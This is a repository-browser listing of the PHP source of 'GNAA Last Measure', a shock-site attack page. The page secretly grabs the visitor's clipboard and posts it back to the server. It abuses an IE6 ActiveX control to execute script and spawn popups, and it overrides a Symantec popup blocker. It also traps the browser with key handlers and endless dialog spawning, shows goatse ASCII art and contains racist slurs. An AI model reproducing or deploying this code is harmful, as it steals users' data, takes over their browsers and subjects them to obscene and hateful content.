source: trollforge/lastmeasure/index.php @ 68

Revision 68, 8.5 KB checked in by sam, 7 years ago (diff)
  • Imported start code from LMv4.
  • Property svn:keywords set to Id
Line 
1<?php
2include("include/browser.php");
3
4/* Browser features */
5$br = new Browser;
6$br_ie6 = ($br->Name == "MSIE" && $br->Version >= 6);
7
8$send = $_POST['send'];
9$popup = $_GET['popup'];
10$procreate = $_GET['procreate'];
11
12function list_images() {
13   $files = array();
14   $dh = opendir('images/');
15   while(($file = readdir($dh)) != false) {
16      $ext = substr($file, -3);
17      if($ext == 'jpg' || $ext == 'gif') {
18         $files[] = 'images/'.$file;
19      }
20   }
21   closedir($dh);
22   return $files;
23}
24
25function get_random($files) {
26   return $files[rand(0,count($files)-1)];
27}
28
29function goatse() { ?>
30<pre>
31* g o a t s e x * g o a t s e x * g o a t s e x *
32g                                               g
33o /     \             \            /    \       o
34a|       |             \          |      |      a
35t|       `.             |         |       :     t
36s`        |             |        \|       |     s
37e \       | /       /  \\\   --__ \\       :    e
38x  \      \/   _--~~          ~--__| \     |    x
39*   \      \_-~                    ~-_\    |    *
40g    \_     \        _.--------.______\|   |    g
41o      \     \______// _ ___ _ (_(__&gt;  \   | o
42a       \   .  C ___)  ______ (_(____&gt;  |  / a
43t       /\ |   C ____)/ LAST \ (_____&gt;  |_/  t
44s      / /\|   C_____) MEASURE|  (___&gt;  /  \ s
45e     |   (   _C_____)\______/  // _/ /     \   e
46x     |    \  |__   \\_________// (__/       |  x
47*    | \    \____)   `----   --'             |  *
48g    |  \_          ___\       /_          _/ | g
49o   |              /    |     |  \            | o
50a   |             |    /       \  \           | a
51t   |          / /    |         |  \           |t
52s   |         / /      \__/\___/    |          |s
53e  |         / /        |    |       |         |e
54x  |          |         |    |       |         |x
55* g o a t s e x * g o a t s e x * g o a t s e x *
56</pre>
57<?php
58}
59
60function hey_everybody() { ?>
61  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
62          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
63          width="1" height="1" id="hey" align="">
64    <param name="movie" value="hey.swf"></param>
65    <embed src="hey.swf" width="1" height="1" name="hey" align=""
66           type="application/x-shockwave-flash"
67           pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
68  </object>
69<?php
70}
71
72/* Initialise shit */
73$files = list_images();
74
75?>
76<html>
77  <head>
78    <title>GNAA Last Measure Unified</title>
79    <script language="JavaScript">
80      <?php include("include/js.inc"); ?>
81    </script>
82    <link rel="icon" type="image/x-icon" href="/favicon.ico" />
83    <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico" />
84  </head>
85<?php
86    /* Just connected! Get the clipboard and post it */
87    if(!$popup && !$send && !$procreate) { ?>
88    <body>
89      <?php goatse(); ?>
90      <form name="clip" method="post" action="index.php" style="display:none">
91        <input type="text" name="content">
92        <input type="hidden" name="send" value="1">
93        <input type="hidden" name="refer" value="<?php echo $refer; ?>">
94        <input type="hidden" name="user" value="<?php echo $user; ?>">
95        <input type="submit">
96      </form>
97      <script language="javascript">
98        // without this if statement check, it bombs out with an error
99        if (typeof clipboardData != 'undefined') {
100          var content = clipboardData.getData("Text");
101          document.forms["clip"].elements["content"].value = content;
102        }
103        document.forms["clip"].submit();
104      </script>
105    </body><?php
106
107    /* First connection. Spawn shit. */
108    } elseif($send) {
109      ?>
110<body background="hello.jpg" bgcolor="#ffffff"
111      onmousemove="playBall();" onLoad="playBall();"
112      <?php if($br_ie6) { ?>onload="setTimeout('main()',100)" <?php } ?>
113      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
114  <?php if($br_ie6) { ?>
115  <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
116          align="middle" height="1" width="1">
117    <param name="ActivateApplets" value="1"></param>
118    <param name="ActivateActiveXControls" value="1"></param>
119  </object>
120  <script>
121    function shellscript() {
122      open('http://<?php echo $_SERVER['SERVER_NAME'];?>/music.php','_blank','scrollbar=no');
123      // TODO: LOOP
124      open('http://<?php echo $_SERVER['SERVER_NAME'];?>/spawn.php?i=<?php echo "hello.jpg"; ?>&fla=false','_blank','scrollbar=no');
125    }
126
127    function main() {
128      x.DOM.Script.execScript(shellscript.toString());
129      x.DOM.Script.setTimeout("shellscript()");
130    }
131  </script>
132  <script language="JavaScript">
133    <!--
134    var SymRealOnLoad;
135    var SymRealOnUnload;
136    var SymRealWinOpen;
137
138    function SymOnUnload() {
139      window.open = SymWinOpen;
140      if(SymRealOnUnload != null)
141        SymRealOnUnload();
142    }
143
144    function SymOnLoad() {
145      if(SymRealOnLoad != null)
146        SymRealOnLoad();
147      window.open = SymRealWinOpen;
148      SymRealOnUnload = window.onunload;
149      window.onunload = SymOnUnload;
150    }
151
152    SymRealOnLoad = window.onload;
153    window.onload = SymOnLoad;
154    //-->
155  </script>
156  <?php } else { ?>
157  <table width="100%" height="100%">
158    <tr>
159      <td valign="middle">
160        <div align="center">
161          <a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a>
162          <br />
163          <br />
164          <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
165                  codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
166                  width="10" height="10">
167            <param name="movie" value="flash/first_opener.swf"></param>
168            <param name="quality" value="high"></param>
169            <embed src="flash/first_opener.swf" quality="high"
170                   pluginspage="http://www.macromedia.com/go/getflashplayer"
171                   type="application/x-shockwave-flash" width="10" height="10">
172            </embed>
173          </object>
174        </div>
175      </td>
176    </tr>
177  </table>
178  <?php } ?>
179  <form>
180    <input type="submit" value="CLICK ME" name="CLICK ME"
181           style="width: 2000px; height: 2000px;
182                  background-image: url('<?php echo get_random($files);?>');"
183           src="hello.jpg" height="300" width="300"
184           onmouseover="if(is_ie) {showModelessDialog('index.php?procreate=1');
185                        return true; }document.goatse.reset();playBall();
186                        return true;"
187           onclick="if(is_ie) {showModelessDialog('index.php?procreate=1');
188                    return true; } playBall();return true;"
189           onmouseout="if(is_ie) {showModelessDialog('index.php?procreate=1');
190                       return true; } else{procreate();}
191                       playBall();return true;">
192    <img src="<?php echo get_random($files);?>"
193         onmouseover="if(is_ie) {showModelessDialog('index.php?procreate=1');
194                      return true; } procreate();playBall();return true;"
195         onmouseout="if(is_ie) {showModelessDialog('index.php?procreate=1');
196                     return true; }">
197    <big><b>GNAA &gt; j00</b></big>
198    <br />
199    fristage postage is mine
200    <?php hey_everybody(); ?>
201    <br>
202    Lastmeasure last measure last-measure nero institute
203  </form>
204  <form name="goatse" onreset="procreate();" onsubmit="procreate();" action="" id="goatse">
205    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
206  </form>
207</body><?php
208
209    } elseif($procreate) {
210      ?>
211<body bgColor="#ffffff"
212      onload="document.goatse.reset();playBall();return true;bookmark();"
213      onKeyDown="altf4key();ctrlkey();delkey();"
214      onMouseOver="procreate();playBall();">
215  <h1>PROCREATING LAST MEASURE!!!</h1>
216  <h1>GNAA > j00</h1>
217  <h1>Fristage Postage is MINE.</h1>
218  <h1>EAT THIS, GOOGLE TOOLBAR.</h1>
219  fucking nigger operating system.. at least in fucking Firebird you don't
220  have to do this shit.
221  <?php hey_everybody(); ?>
222  <form name="goatse" action="#" ONreset="procreate(); return true;">
223  </form>
224</body>
225<?php
226
227    } elseif($popup) {
228      $image = get_random($files);
229      ?>
230<body background="<?php echo $image;?>" bgColor="#ffffff"
231      onload="document.goatse.reset();playBall();return true;bookmark();"
232      onKeyDown="altf4key();ctrlkey();delkey();"
233      onMouseOver="procreate();playBall();">
234  <form name="goatse" action="#" ONreset="procreate();return true;">
235    <img src="<?php echo $image;?>"
236         onMouseOver="procreate();playBall();return true;" />
237  </form>
238</body>
239      <?php
240    }
241?>
242</html>
Note: See TracBrowser for help on using the repository browser.